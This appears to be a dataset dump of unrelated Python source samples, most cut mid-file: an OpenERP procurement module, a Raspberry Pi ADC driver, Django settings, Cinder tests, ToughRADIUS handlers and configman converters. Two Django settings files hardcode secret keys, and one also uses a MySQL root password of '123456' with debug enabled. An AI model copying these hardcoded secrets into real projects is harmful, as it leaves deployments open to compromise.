",1 "-2009 Tiny SPRL (). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # ############################################################################## from openerp.osv import osv from openerp import netsvc from openerp.tools.translate import _ class procurement_order(osv.osv): _inherit = 'procurement.order' def check_buy(self, cr, uid, ids, context=None): for procurement in self.browse(cr, uid, ids, context=context): for line in procurement.product_id.flow_pull_ids: if line.location_id==procurement.location_id: return line.type_proc=='buy' return super(procurement_order, self).check_buy(cr, uid, ids) def check_produce(self, cr, uid, ids, context=None): for procurement in self.browse(cr, uid, ids, context=context): for line in procurement.product_id.flow_pull_ids: if line.location_id==procurement.location_id: return line.type_proc=='produce' return super(procurement_order, self).check_produce(cr, uid, ids) def check_move(self, cr, uid, ids, context=None): for procurement in self.browse(cr, uid, ids, context=context): for line in procurement.product_id.flow_pull_ids: if line.location_id==procurement.location_id: return (line.type_proc=='move') and (line.location_src_id) return False def action_move_create(self, cr, uid, ids, context=None): proc_obj = self.pool.get('procurement.order') move_obj = self.pool.get('stock.move') picking_obj=self.pool.get('stock.picking') wf_service = netsvc.LocalService(""workflow"") for proc in proc_obj.browse(cr, uid, ids, context=context): line = None for line in proc.product_id.flow_pull_ids: if line.location_id == proc.location_id: break assert line, 'Line cannot be False if we are on this state of the workflow' origin = (proc.origin or proc.name or '').split(':')[0] +':'+line.name picking_id = picking_obj.create(cr, uid, { 'origin': origin, 'company_id': line.company_id and line.company_id.id or False, 'type': line.picking_type, 'stock_journal_id': line.journal_id and line.journal_id.id or False, 'move_type': 'one', 'partner_id': line.partner_address_id.id, 'note': _('Picking for pulled procurement coming from original location %s, pull rule %s, via original Procurement %s (#%d)') % (proc.location_id.name, line.name, proc.name, proc.id), 'invoice_state': line.invoice_state, }) move_id = move_obj.create(cr, uid, { 'name': line.name, 'picking_id': picking_id, 'company_id': line.company_id and line.company_id.id or False, 'product_id': proc.product_id.id, 'date': proc.date_planned, 'product_qty': proc.product_qty, 'product_uom': proc.product_uom.id, 'product_uos_qty': (proc.product_uos and proc.product_uos_qty)\ or proc.product_qty, 'product_uos': (proc.product_uos and proc.product_uos.id)\ or proc.product_uom.id, 'partner_id': line.partner_address_id.id, 'location_id': line.location_src_id.id, 'location_dest_id': line.location_id.id, 'move_dest_id': proc.move_id and proc.move_id.id or False, # to verif, about history ? 'tracking_id': False, 'cancel_cascade': line.cancel_cascade, 'state': 'confirmed', 'note': _('Move for pulled procurement coming from original location %s, pull rule %s, via original Procurement %s (#%d)') % (proc.location_id.name, line.name, proc.name, proc.id), }) if proc.move_id and proc.move_id.state in ('confirmed'): move_obj.write(cr,uid, [proc.move_id.id], { 'state':'waiting' }, context=context) proc_id = proc_obj.create(cr, uid, { 'name': line.name, 'origin': origin, 'note': _('Pulled procurement coming from original location %s, pull rule %s, via original Procurement %s (#%d)') % (proc.location_id.name, line.name, proc.name, proc.id), 'company_id': line.company_id and line.company_id.id or False, 'date_planned': proc.date_planned, 'product_id': proc.product_id.id, 'product_qty': proc.product_qty, 'product_uom': proc.product_uom.id, 'product_uos_qty': (proc.product_uos and proc.product_uos_qty)\ or proc.product_qty, 'product_uos': (proc.product_uos and proc.product_uos.id)\ or proc.product_uom.id, 'location_id': line.location_src_id.id, 'procure_method': line.procure_method, 'move_id': move_id, }) wf_service = netsvc.LocalService(""workflow"") wf_service.trg_validate(uid, 'stock.picking', picking_id, 'button_confirm', cr) wf_service.trg_validate(uid, 'procurement.order', proc_id, 'button_confirm', cr) if proc.move_id: move_obj.write(cr, uid, [proc.move_id.id], {'location_id':proc.location_id.id}) msg = _('Pulled from another location.') self.write(cr, uid, [proc.id], {'state':'running', 'message': msg}) self.message_post(cr, uid, [proc.id], body=msg, context=context) # trigger direct processing (the new procurement shares the same planned date as the original one, which is already being processed) wf_service.trg_validate(uid, 'procurement.order', proc_id, 'button_check', cr) return False procurement_order() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: ",1 "t and 12-bit ADCs respectively. The x number indicates the number # of multiplexed analog inputs: 2 (MCP3202), 4 (MCP3204) or 8 (MCP3208) # Communications with this chip are over the SPI protocol. # See: https://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus # # The version of the code has two SPI interfaces: the builtin hardware # SPI interface on the RPI, or a ""bit-banged"" GPIO version. # # Bit-Bang GPIO: # We emulate a SPI port in software using the GPIO lines. # This is a bit slower than the hardware interface, but it is far more # clear what is going on, plus the RPi has only one SPI device. # Connections: RPi GPIO to MCP320x # CS_bar_pin = CS/SHDN # CLK_pin = CLK # MOSI_pin = D_in # MISO_pin = D_out # # Hardware SPI: # This uses the builtin hardware on the RPi. You need to enable this with the # raspi-config program first. The data rate can be up to 1MHz. # Connections: RPi pins to MCP320x # CE0 or CE1 = CS/SHDN (chip select) set CS_bar = 0 or 1 # SCK = CLK set CLK_pin = 1000000 (transfer speed) # MOSI = D_in set MOSI_pin = 0 # MISO = D_out set MISO_pin = 0 # The SPI protocol simulated here is MODE=0, CPHA=0, which has a positive polarity clock, # (the clock is 0 at rest, active at 1) and a positive phase (0 to 1 transition) for reading # or writing the data. Thus corresponds to the specifications of the MCP320x chips. # # From MCP3208 datasheet: # Outging data : MCU latches data to A/D converter on rising edges of SCLK # Incoming data: Data is clocked out of A/D converter on falling edges, so should be read on rising edge. try: import RPi.GPIO as GPIO except ImportError as error: pass try: import Adafruit_BBIO as GPIO except ImportError as error: pass try: import spidev except ImportError as error: pass from DevLib.MyValues import MyValues class MCP320x: """"""This is an class that implements an interface to the MCP320x ADC chips. Standard is the MCP3208, but is will also work wiht the MCP3202, MCP3204, MCP3002, MCP3004 and MCP3008."""""" def __init__(self, cs_bar_pin, clk_pin=1000000, mosi_pin=0, miso_pin=0, chip='MCP3208', channel_max=None, bit_length=None, single_ended=True): """"""Initialize the code and set the GPIO pins. The last argument, ch_max, is 2 for the MCP3202, 4 for the MCP3204 or 8 for the MCS3208."""""" self._CLK = clk_pin self._MOSI = mosi_pin self._MISO = miso_pin self._CS_bar = cs_bar_pin chip_dictionary = { ""MCP3202"": (2, 12), ""MCP3204"": (4, 12), ""MCP3208"": (8, 12), ""MCP3002"": (2, 10), ""MCP3004"": (4, 10), ""MCP3008"": (8, 10) } if chip in chip_dictionary: self._ChannelMax = chip_dictionary[chip][0] self._BitLength = chip_dictionary[chip][1] elif chip is None and (channel_max is not None) and (bit_length is not None): self._ChannelMax = channel_max self._BitLength = bit_length else: print(""Unknown chip: {} - Please re-initialize."") self._ChannelMax = 0 self._BitLength = 0 return self._SingleEnded = single_ended self._Vref = 3.3 self._values = MyValues(self.read_adc, self._ChannelMax) self._volts = MyValues(self.read_volts, self._ChannelMax) # This is used to speed up the SPIDEV communication. Send out MSB first. # control[0] - bit7-3: upper 5 bits 0, because we can only send 8 bit sequences. # - bit2 : Start bit - starts conversion in ADCs # - bit1 : Select single_ended=1 or differential=0 # - bit0 : D2 high bit of channel select. # control[1] - bit7 : D1 middle bit of channel select. # - bit6 : D0 low bit of channel select. # - bit5-0 : Don't care. if self._SingleEnded: self._control0 = [0b00000110, 0b00100000, 0] # Pre-compute part of the control word. else: self._control0 = [0b00000100, 0b00100000, 0] # Pre-compute part of the control word. if self._MOSI > 0: # Bing Bang mode assert self._MISO != 0 and self._CLK < 32 if GPIO.getmode() != 11: GPIO.setmode(GPIO.BCM) # Use the BCM numbering scheme GPIO.setup(self._CLK, GPIO.OUT) # Setup the ports for in and output GPIO.setup(self._MOSI, GPIO.OUT) GPIO.setup(self._MISO, GPIO.IN) GPIO.setup(self._CS_bar, GPIO.OUT) GPIO.output(self._CLK, 0) # Set the clock low. GPIO.output(self._MOSI, 0) # Set the Master Out low GPIO.output(self._CS_bar, 1) # Set the CS_bar high else: self._dev = spidev.SpiDev(0, self._CS_bar) # Start a SpiDev device self._dev.mode = 0 # Set SPI mode (phase) self._dev.max_speed_hz = self._CLK # Set the data rate self._dev.bits_per_word = 8 # Number of bit per word. ALWAYS 8 def __del__(self): """""" Cleanup the GPIO before being destroyed """""" if self._MOSI > 0: GPIO.cleanup(self._CS_bar) GPIO.cleanup(self._CLK) GPIO.cleanup(self._MOSI) GPIO.cleanup(self._MISO) def get_channel_max(self): """"""Return the maximum number of channels"""""" return self._ChannelMax def get_bit_length(self): """"""Return the number of bits that will be read"""""" return self._BitLength def get_value_max(self): """"""Return the maximum value possible for an ADC read"""""" return 2 ** self._BitLength - 1 def send_bit(self, bit): """""" Send out a single bit, and pulse clock."""""" if self._MOSI == 0: return # # The input is read on the rising edge of the clock. # GPIO.output(self._MOSI, bit) # Set the bit. GPIO.output(self._CLK, 1) # Rising edge sends data GPIO.output(self._CLK, 0) # Return clock to zero. def read_bit(self): """""" Read a single bit from the ADC and pulse clock."""""" if self._MOSI == 0: return 0 # # The output is going out on the falling edge of the clock, # and is to be read on the rising edge of the clock. # Clock should be already low, and data should already be set. GPIO.output(self._CLK, 1) # Set the clock high. Ready to read. bit = GPIO.input(self._MISO) # Read the bit. GPIO.output(self._CLK, 0) # Return clock low, next bit will be set. return bit def read_adc(self, channel): """"""This reads the actual ADC value, after connecting the analog multiplexer to the desired channel. ADC value is returned at a n-bit integer value, with n=10 or 12 depending on the chip. The value can be converted to a voltage with: volts = data*Vref/(2**n-1)"""""" if channel < 0 or channel >= self._ChannelMax: print(""Error - chip does not have channel = {}"".format(channel)) if self._MOSI == 0: # SPIdev Code # This builds up the control word, which selects the channel # and sets single/differential more. control = [self._control0[0] + ((channel & 0b100) >> 2), self._control0[1]+((channel & 0b011) << 6), 0] dat = self._dev.xfer(control) value = (dat[1] << 8)+dat[2] # Unpack the two 8-bit words to a single integer. return value else: # Bit Bang code. # To read out this chip you need to send: # 1 - start bit # 2 - Single ended (1) or differential (0) mode # 3 - Channel select: 1 bit for x=2 or 3 bits for x=4,8 # 4 - MSB first (1) or LSB first (0) # # Start of sequence sets CS_bar low, and sends sequence # GPIO.output(self._CLK, 0) # Make sure clock starts low. GPIO.output(self._MOSI, 0) GPIO.output(self._CS_bar, 0) # Select the chip. self.send_bit(1) # Start bit = 1 self.send_bit(self._SingleEnded) # Select single or differential if self._ChannelMax > 2: self.send_bit(int((channel & 0b100) > 0)) # Send high bit of channel = DS2 self.send_bit(int((channel & 0b010) > 0)) # Send mid bit of channel = DS1 self.send_bit(int((channel & 0b001) > 0)) # Send low bit of channel = DS0 else: self.send_bit(channel) self.send_bit(0) # MSB First (for MCP3x02) or don't care. # The clock is currently low, and the dummy bit = 0 is on the output of the ADC # self.read_bit() # Read the bit. data = 0 for i in range(self._BitLength): # Note you need to shift left first, or else you shift the last bit (bit 0) # to the 1 position. data <<= 1 bit = self.read_bit() data += bit GPIO.output(self._CS_bar, 1) # Unselect the chip. return data def read_volts(self, channel): """"""Read the ADC value from channel and convert to volts, assuming that Vref is set correctly. """""" return self._Vref * self.read_adc(channel) / self.get_value_max() def fast_read_adc0(self): """"""This reads the actual ADC value of channel 0, with as little overhead as possible. Use with SPIDEV ONLY!!!! returns: The ADC value as an n-bit integer value, with n=10 or 12 depending on the chip."""""" dat = self._dev.xfer(self._control0) value = (dat[1] << 8) + dat[2] return value @property def values(self): """"""ADC values presented as a list."""""" return self._values @property def volts(self): """"""ADC voltages presented as a list"""""" return self._volts @property def accuracy(self): """"""The fractional voltage of the least significant bit. """""" return self._Vref / float(self.get_value_max()) @property def vref(self): """"""Reference voltage used by the chip. You need to set this. It defaults to 3.3V"""""" return self._Vref @vref.setter def vref(self, vr): self._Vref = vr def main(argv): """"""Test code for the MCP320x driver. This assumes you are using a MCP3208 If no arguments are supplied, then use SPIdev for CE0 and read channel 0"""""" if len(argv) < 3: print(""Args : "", argv) cs_bar = 0 clk_pin = 1000000 mosi_pin = 0 miso_pin = 0 if len(argv) < 2: channel = 0 else: channel = int(argv[1]) elif len(argv) < 6: print(""Please supply: cs_bar_pin clk_pin mosi_pin miso_pin channel"") sys.exit(1) else: cs_bar = int(argv[1]) clk_pin = int(argv[2]) mosi_pin = int(argv[3]) miso_pin = int(argv[4]) channel = int(argv[5]) adc_chip = MCP320x(cs_bar, clk_pin, mosi_pin, miso_pin) try: while True: value = adc_chip.read_adc(channel) print(""{:4d}"".format(value)) time.sleep(0.1) except KeyboardInterrupt: sys.exit(0) if __name__ == '__main__': import sys import time main(sys.argv) ",1 "ollowing approach seems to be having issue with the # current TIFF format data print('The size of each frame is:') print(img1.size) # Plots first frame print('Frame 1') fig1 = plt.figure(1) img1.seek(0) # for i in range(250): # pixA11 = img1.getpixel((1,i)) # print(pixA11) f1 = list(img1.getdata()) print(f1[1000]) plt.imshow(img1) fig1.show() input() # Plots eleventh frame # print('Frame 11') # fig2 = plt.figure(2) # img1.seek(10) # # for i in range(250): # # pixB11 = img1.getpixel((1,i)) # # print(pixB11) # f2 = list(img1.getdata()) # print(f2[10000]) # plt.imshow(img1) # fig2.show() # input() # Create a new image fig3 = plt.figure(3) imgAvg = Image.new(img1.mode, img1.size) print(img1.mode) print(img1.size) fAvg = list() pix = imgAvg.load() for i in range(512): for j in range(512): pixVal = (f1[i*512+j] + f1[i*512+j]) / 2 # fAvg.append(pixVal) fAvg.insert(i*512+j,pixVal) imgAvg.putdata(fAvg) imgAvg.save('avg.tiff') plt.imshow(imgAvg) fig3.show() print('Average') # The following is necessary to keep the above figures 'alive' input() # data = random.random((256, 256)) # img1 = Image.fromarray(data) # img1.save('test.tiff') ",1 "go.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. 'NAME': os.path.join(os.path.dirname(__file__), 'highways.db'), # Or path to database file if using sqlite3. 'USER': '', # Not used with sqlite3. 'PASSWORD': '', # Not used with sqlite3. 'HOST': '', # Set to empty string for localhost. Not used with sqlite3. 'PORT': '', # Set to empty string for default. Not used with sqlite3. } } # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # On Unix systems, a value of None will cause Django to use the same # timezone as the operating system. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/Mexico_City' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'es-MX' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # If you set this to False, Django will not format dates, numbers and # calendars according to the current locale USE_L10N = True # Absolute path to the directory that holds media. # Example: ""/home/media/media.lawrence.com/"" MEDIA_ROOT = os.path.join(os.path.dirname(__file__), 'media') # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash if there is a path component (optional in other cases). # Examples: ""http://media.lawrence.com"", ""http://example.com/media/"" MEDIA_URL = '/static/' # URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a # trailing slash. # Examples: ""http://foo.com/media/"", ""/media/"". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't share it with anybody. SECRET_KEY = 'bre7b$*6!iagzqyi1%q@%_ofbb)e!rawcnm9apx^%kf@b%)le!' MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'project.urls' INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.admin', 'django.contrib.admindocs', 'carreteras', ) # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', # 'django.template.loaders.eggs.Loader', ) TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), ""templates""), ) ",1 "cs and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the ""License""); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from cinder import test class ExampleSkipTestCase(test.TestCase): test_counter = 0 @test.skip_test(""Example usage of @test.skip_test()"") def test_skip_test_example(self): self.fail(""skip_test failed to work properly."") @test.skip_if(True, ""Example usage of @test.skip_if()"") def test_skip_if_example(self): self.fail(""skip_if failed to work properly."") @test.skip_unless(False, ""Example usage of @test.skip_unless()"") def test_skip_unless_example(self): self.fail(""skip_unless failed to work properly."") @test.skip_if(False, ""This test case should never be skipped."") def test_001_increase_test_counter(self): ExampleSkipTestCase.test_counter += 1 @test.skip_unless(True, ""This test case should never be skipped."") def test_002_increase_test_counter(self): ExampleSkipTestCase.test_counter += 1 def test_003_verify_test_counter(self): self.assertEquals(ExampleSkipTestCase.test_counter, 2, ""Tests were not skipped appropriately"") ",1 "he import cache_managers from toughradius.manage.base import BaseHandler from toughlib.permit import permit from toughradius.manage import models from toughradius.manage.settings import * from toughradius.common import tools import psutil @permit.route(r""/admin"") class HomeHandler(BaseHandler): @cyclone.web.authenticated def get(self): # cpuuse = psutil.cpu_percent(interval=None, percpu=True) # memuse = psutil.virtual_memory() # online_count = self.db.query(models.TrOnline.id).count() # user_total = self.db.query(models.TrAccount.account_number).filter_by(status=1).count() # self.render(""index.html"",config=self.settings.config, # cpuuse=cpuuse,memuse=memuse,online_count=online_count,user_total=user_total) self.redirect(""/admin/dashboard"") @permit.route(r""/"") class HomeHandler(BaseHandler): @cyclone.web.authenticated def get(self): self.redirect(""/admin/dashboard"") @permit.route(r""/about"") class HomeHandler(BaseHandler): @cyclone.web.authenticated def get(self): self.render(""about.html"") @permit.route(r""/toughcloud/service/register"") class ToughcloudRegisterHandler(BaseHandler): def get_toughcloud_url(self): if os.environ.get(""TR_DEV""): return 'http://127.0.0.1:9079/customer/license/request?sid=%s'%tools.get_sys_uuid() else: return 'https://www.toughcloud.net/customer/license/request?sid=%s'%tools.get_sys_uuid() @cyclone.web.authenticated def get(self): self.redirect(self.get_toughcloud_url()) ",1 "ist of settings and their values, see https://docs.djangoproject.com/en/1.6/ref/settings/ """""" # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = ')mg$xo^v*2mmwidr0ak6%9&!@e18v8t#7@+vd+wqg8kydb48k7' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'blog', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'sparta.urls' WSGI_APPLICATION = 'sparta.wsgi.application' # Database # https://docs.djangoproject.com/en/1.6/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'USER':'root', 'NAME':'fordjango', 'PASSWORD':'123456', 'HOST':'localhost', 'PORT':'' } } # Internationalization # https://docs.djangoproject.com/en/1.6/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) STATIC_ROOT = os.path.join('/home/dexter/weaponx/Django/sparta/sparta/static') STATIC_URL = '/assets/' STATICFILES_DIRS = ( '/home/dexter/weaponx/Django/sparta/sparta/assets', ) TEMPLATE_DIRS=('/home/dexter/weaponx/Django/sparta/sparta/template',)",1 "# 1.1 (the ""License""); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an ""AS IS"" basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License # for the specific language governing rights and limitations under the # License. # # The Original Code is configman # # The Initial Developer of the Original Code is # Mozilla Foundation # Portions created by the Initial Developer are Copyright (C) 2011 # the Initial Developer. All Rights Reserved. # # Contributor(s): # K Lars Lohn, lars@mozilla.com # Peter Bengtsson, peterbe@mozilla.com # # Alternatively, the contents of this file may be used under the terms of # either the GNU General Public License Version 2 or later (the ""GPL""), or # the GNU Lesser General Public License Version 2.1 or later (the ""LGPL""), # in which case the provisions of the GPL or the LGPL are applicable instead # of those above. If you wish to allow use of your version of this file only # under the terms of either the GPL or the LGPL, and not to allow others to # use your version of this file under the terms of the MPL, indicate your # decision by deleting the provisions above and replace them with the notice # and other provisions required by the GPL or the LGPL. If you do not delete # the provisions above, a recipient may use your version of this file under # the terms of any one of the MPL, the GPL or the LGPL. # # ***** END LICENSE BLOCK ***** import sys import re import datetime import types import inspect import collections import json from required_config import RequiredConfig from namespace import Namespace from .datetime_util import datetime_from_ISO_string as datetime_converter from .datetime_util import date_from_ISO_string as date_converter import datetime_util #------------------------------------------------------------------------------ def option_value_str(an_option): """"""return an instance of Option's value as a string. The option instance doesn't actually have to be from the Option class. All it requires is that the passed option instance has a ``value`` attribute. """""" if an_option.value is None: return '' try: converter = to_string_converters[type(an_option.value)] s = converter(an_option.value) except KeyError: if not isinstance(an_option.value, basestring): s = unicode(an_option.value) else: s = an_option.value if an_option.from_string_converter in converters_requiring_quotes: s = ""'''%s'''"" % s return s #------------------------------------------------------------------------------ def str_dict_keys(a_dict): """"""return a modified dict where all the keys that are anything but str get converted to str. E.g. >>> result = str_dict_keys({u'name': u'Peter', u'age': 99, 1: 2}) >>> # can't compare whole dicts in doctests >>> result['name'] u'Peter' >>> result['age'] 99 >>> result[1] 2 The reason for this is that in Python <= 2.6.4 doing ``MyClass(**{u'name': u'Peter'})`` would raise a TypeError Note that only unicode types are converted to str types. The reason for that is you might have a class that looks like this:: class Option(object): def __init__(self, foo=None, bar=None, **kwargs): ... And it's being used like this:: Option(**{u'foo':1, u'bar':2, 3:4}) Then you don't want to change that {3:4} part which becomes part of `**kwargs` inside the __init__ method. Using integers as parameter keys is a silly example but the point is that due to the python 2.6.4 bug only unicode keys are converted to str. """""" new_dict = {} for key in a_dict: if isinstance(key, unicode): new_dict[str(key)] = a_dict[key] else: new_dict[key] = a_dict[key] return new_dict #------------------------------------------------------------------------------ def io_converter(input_str): """""" a conversion function for to select stdout, stderr or open a file for writing"""""" if type(input_str) is str: input_str_lower = input_str.lower() if input_str_lower == 'stdout': return sys.stdout if input_str_lower == 'stderr': return sys.stderr return open(input_str, ""w"") return input_str #------------------------------------------------------------------------------ def timedelta_converter(input_str): """"""a conversion function for time deltas"""""" if isinstance(input_str, basestring): days, hours, minutes, seconds = 0, 0, 0, 0 details = input_str.split(':') if len(details) >= 4: days = int(details[-4]) if len(details) >= 3: hours = int(details[-3]) if len(details) >= 2: minutes = int(details[-2]) if len(details) >= 1: seconds = int(details[-1]) return datetime.timedelta(days=days, hours=hours, minutes=minutes, seconds=seconds) raise ValueError(input_str) #------------------------------------------------------------------------------ def boolean_converter(input_str): """""" a conversion function for boolean """""" return input_str.lower() in (""true"", ""t"", ""1"", ""y"", ""yes"") #------------------------------------------------------------------------------ import __builtin__ _all_named_builtins = dir(__builtin__) def class_converter(input_str): """""" a conversion that will import a module and class name """""" if not input_str: return None if '.' not in input_str and input_str in _all_named_builtins: return eval(input_str) parts = [x.strip() for x in input_str.split('.') if x.strip()] try: # first try as a complete module package = __import__(input_str) except ImportError: # it must be a class from a module if len(parts) == 1: # since it has only one part, it must be a class from __main__ parts = ('__main__', input_str) package = __import__('.'.join(parts[:-1]), globals(), locals(), []) obj = package for name in parts[1:]: obj = getattr(obj, name) return obj #------------------------------------------------------------------------------ def classes_in_namespaces_converter(template_for_namespace=""cls%d"", name_of_class_option='cls', instantiate_classes=False): """"""take a comma delimited list of class names, convert each class name into an actual class as an option within a numbered namespace. This function creates a closure over a new function. That new function, in turn creates a class derived from RequiredConfig. The inner function, 'class_list_converter', populates the InnerClassList with a Namespace for each of the classes in the class list. In addition, it puts the each class itself into the subordinate Namespace. The requirement discovery mechanism of configman then reads the InnerClassList's requried config, pulling in the namespaces and associated classes within. For example, if we have a class list like this: ""Alpha, Beta"", then this converter will add the following Namespaces and options to the configuration: ""cls0"" - the subordinate Namespace for Alpha ""cls0.cls"" - the option containing the class Alpha itself ""cls1"" - the subordinate Namespace for Beta ""cls1.cls"" - the option containing the class Beta itself Optionally, the 'class_list_converter' inner function can embue the InnerClassList's subordinate namespaces with aggregates that will instantiate classes from the class list. This is a convenience to the programmer who would otherwise have to know ahead of time what the namespace names were so that the classes could be instantiated within the context of the correct namespace. Remember the user could completely change the list of classes at run time, so prediction could be difficult. ""cls0"" - the subordinate Namespace for Alpha ""cls0.cls"" - the option containing the class Alpha itself ""cls0.cls_instance"" - an instance of the class Alpha ""cls1"" - the subordinate Namespace for Beta ""cls1.cls"" - the option containing the class Beta itself ""cls1.cls_instance"" - an instance of the class Beta parameters: template_for_namespace - a template for the names of the namespaces that will contain the classes and their associated required config options. The namespaces will be numbered sequentially. By default, they will be ""cls1"", ""cls2"", etc. class_option_name - the name to be used for the class option within the nested namespace. By default, it will choose: ""cls1.cls"", ""cls2.cls"", etc. instantiate_classes - a boolean to determine if there should be an aggregator added to each namespace that instantiates each class. If True, then each Namespace will contain elements for the class, as well as an aggregator that will instantiate the class. """""" #-------------------------------------------------------------------------- def class_list_converter(class_list_str): """"""This function becomes the actual converter used by configman to take a string and convert it into the nested sequence of Namespaces, one for each class in the list. It does this by creating a proxy class stuffed with its own 'required_config' that's dynamically generated."""""" if isinstance(class_list_str, basestring): class_list = [x.strip() for x in class_list_str.split(',')] else: raise TypeError('must be derivative of a basestring') #====================================================================== class InnerClassList(RequiredConfig): """"""This nested class is a proxy list for the classes. It collects all the config requirements for the listed classes and places them each into their own Namespace. """""" # we're dynamically creating a class here. The following block of # code is actually adding class level attributes to this new class required_config = Namespace() # 1st requirement for configman subordinate_namespace_names = [] # to help the programmer know # what Namespaces we added namespace_template = template_for_namespace # save the template # for future reference class_option_name = name_of_class_option # save the class's option # name for the future # for each class in the class list for namespace_index, a_class in enumerate(class_list): # figure out the Namespace name namespace_name = template_for_namespace % namespace_index subordinate_namespace_names.append(namespace_name) # create the new Namespace required_config[namespace_name] = Namespace() # add the option for the class itself required_config[namespace_name].add_option( name_of_class_option, #doc=a_class.__doc__ # not helpful if too verbose default=a_class, from_string_converter=class_converter ) if instantiate_classes: # add an aggregator to instantiate the class required_config[namespace_name].add_aggregation( ""%s_instance"" % name_of_class_option, lambda c, lc, a: lc[name_of_class_option](lc)) @classmethod def to_str(cls): """"""this method takes this inner class object and turns it back into the original string of classnames. This is used primarily as for the output of the 'help' option"""""" return ', '.join( py_obj_to_str(v[name_of_class_option].value) for v in cls.get_required_config().values() if isinstance(v, Namespace)) return InnerClassList # result of class_list_converter return class_list_converter # result of classes_in_namespaces_converter #------------------------------------------------------------------------------ def regex_converter(input_str): return re.compile(input_str) compiled_regexp_type = type(re.compile(r'x')) #------------------------------------------------------------------------------ from_string_converters = { int: int, float: float, str: str, unicode: unicode, bool: boolean_converter, dict: json.loads, datetime.datetime: datetime_converter, datetime.date: date_converter, datetime.timedelta: timedelta_converter, type: class_converter, types.FunctionType: class_converter, compiled_regexp_type: regex_converter, } #------------------------------------------------------------------------------ def py_obj_to_str(a_thing): if a_thing is None: return '' if inspect.ismodule(a_thing): return a_thing.__name__ if a_thing.__module__ == '__builtin__': return a_thing.__name__ if a_thing.__module__ == ""__main__"": return a_thing.__name__ if hasattr(a_thing, 'to_str'): return a_thing.to_str() return ""%s.%s"" % (a_thing.__module__, a_thing.__name__) #------------------------------------------------------------------------------ def list_to_str(a_list): return ', '.join(to_string_converters[type(x)](x) for x in a_list) #------------------------------------------------------------------------------ to_string_converters = { int: str, float: str, str: str, unicode: unicode, list: list_to_str, tuple: list_to_str, bool: lambda x: 'True' if x else 'False', dict: json.dumps, datetime.datetime: datetime_util.datetime_to_ISO_string, datetime.date: datetime_util.date_to_ISO_string, datetime.timedelta: datetime_util.timedelta_to_str, type: py_obj_to_str, types.ModuleType: py_obj_to_str, types.FunctionType: py_obj_to_str, compiled_regexp_type: lambda x: x.pattern, } #------------------------------------------------------------------------------ #converters_requiring_quotes = [eval, eval_to_regex_converter] converters_requiring_quotes = [eval, regex_converter] ",1 "togram or probability density function from sampled data. Args: X (numpy.ndarray): 1-D array of sampled values N (Optional[int]): Number of bins (default 30) fig (Optional[int]): Figure number (default None) noclear (Optioanl[bool]): Clear figure (default False) pdf (Optional[bool]): If True normalize by bin width (default False) and display as curve instead of bar chart. Note: results are always normalized by number of samples **kywds: Arbitrary keyword arguments passed to matplotlib.pyplot.bar (or matplotlib.pyplot.semilogx if pdf is True) Returns: x (ndarray): abscissa values of frequencies n (ndarray): (normalized) frequency values ''' x = np.logspace(np.log10(np.min(X)),np.log10(np.max(X)),N+1) n,x = np.histogram(X,bins=x) n = n/float(X.size) plt.figure(fig) if not noclear: 